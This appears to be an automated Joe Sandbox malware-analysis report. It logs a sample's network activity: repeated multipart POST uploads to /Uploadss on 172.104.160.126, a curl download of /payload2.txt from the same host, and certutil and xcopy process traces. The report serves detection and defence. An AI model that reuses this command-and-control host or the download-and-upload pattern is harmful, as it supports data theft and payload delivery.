Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6ceab3228cef8607
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a158dee7d748d662
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------5e2d7668485dfa80
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0f7ba0280905d0a7
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b615441db0569974
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------c38b6efbb3860b55
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------e120409de9b0961d
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------df56891ade3f02b5
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------5b9a6ba60e763601
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6125ed5460a004ed
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0cd032303c66daa3
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4103ce5fab37505e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------e9d6222010bc4b93
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2aa72388551e1719
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------77f946c49d2aa0aa
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------23ddd58ceee731b1
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b152df86b4cdc780
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2d6437b9e8f9fa26
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f9fda7251b3940ec
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b875c75c93bfafb2
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------90b1444f43bf87bb
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f596c2ad5c87a402
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------eebee10a2c2a0a7e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------fb127d9661ca100d
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6653a23fed80a45e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------37776beab8920800
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------40df58b3406d3c6c
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------7048acb243c73c53
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------915bf5cdc8e28206
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b29bc1940f1b3cf8
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------faed09c6aeddfcad
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------9e028a09e8444741
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------1ebd341a5c4734af
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0a25b701dad0bb75
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------917bcfd4af7652d9
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------3755ae52020b6387
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------5781aa9441631b3e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f897addde1370454
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------793f3f5fb8213a21
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------79bb560cb57ad0e1
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a317104ee2cc8105
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------883a00c3844ef429
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------57415b48de4d495c
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------3cce8b88a3742ee2
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------b2be66a73755a4fd
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------25a531a286c8b417
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------01eb8640365fd751
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6f4cfa28ab6b91ba
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0f60835c471703b6
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------30e95938f8d682b4
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------fa71821352b7a857
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------1d41fea49894b271
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4c1e4f796c2c9c93
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------fff4f274d4698b1d
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------edd5ebff721373ff
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------e20020832d30f3c0
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------d4472314239c3705
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------7e127aa7b6ef26df
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0cf99223c92232cd
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------7ce2fb84c3dc7384
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------d8f7e01a7de6f04f
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f7a61e38904fcff7
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------8977623888b015d2
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------8961b875dcb6c2ce
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------00f564c0c06baa17
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------eaaf87d8ac660071
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4db416eccd57981d
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6ea26e32a284dc76
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4be51b091cf7dce2
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------fffb92063f61af58
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------bcadf6652bcb5995
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a0c3d46717813838
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------71e83fa42945e82e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2774b4aa52ecef71
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------9299cdde274089f9
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------32889ea7ae55e121
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a678ad0b838c4a42
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------271c99aa13addee5
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------4d702bb6621a98ce
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------3ff2595632dfd343
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6be2ae2c8e7d9a07
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------5287d62a7467fc4e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------124d7d68b6a08cfd
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------837b5fa459944e4b
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------22f31a976d8ccacd
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------adf6f33d0b6a389e
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------69954c1bb23fa243
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------54f15fd9c89287c7
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------862973e7d8c5e47a
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------218f885d1d1b01f5
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------21ef4c783e5ef6a8
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------8d935b7ab73db626
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------3e1bcbfd1ac49b71
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------453e0988638a690b
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------936caa563e76ca26
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------96aa930188ad95d0
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------1c10b124588ac309
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------7cef968b537d35d7
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------cd9315d0f70306a2
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------1e25afe42fd86294
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------01894383c334ebcc
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2c7fc54d6c7c04d4
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------bb4d8fe5f94a83f5
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a9d83593ce6d0496
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------d2c48da37d466a87
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------450e1ee269f45e90
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0089c8439ef77124
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------6e3e4c3b05a79857
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------521206e0c9b94cee
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------3e6e6e56ae2cb74d
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------03a4310a76240f87
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------0eac6bd829619dc3
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------7554e3942a8f0809
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------f183d5370c54fe4b
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------ca18e54d06119b02
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------998ba500316220a8
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------2680bd2607a01273
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------03efbda4d78b7cdf
Source: global traffic	HTTP traffic detected: POST /Uploadss HTTP/1.1Host: 172.104.160.126:5000Accept: /Content-Length: 1456Content-Type: multipart/form-data; boundary=------------------------a35d77128ae5cf6a

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49772 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.69
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126
Source: unknown	TCP traffic detected without corresponding DNS query: 172.104.160.126

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_0087D8C0 recv,WSAGetLastError,

13_2_0087D8C0

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PxRdW7mlrrw49Sf&MD=a2PwAHxG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PxRdW7mlrrw49Sf&MD=a2PwAHxG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /payload2.txt HTTP/1.1Host: 172.104.160.126:8099User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /payload2.txt HTTP/1.1Host: 172.104.160.126:8099User-Agent: curl/7.83.1Accept: /

Source: xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 0000000D.00000000.2155057954.00000000008B5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: Usage: curl [options...] <url>

Source: global traffic

DNS traffic detected: DNS query: www.google.com

Source: unknown

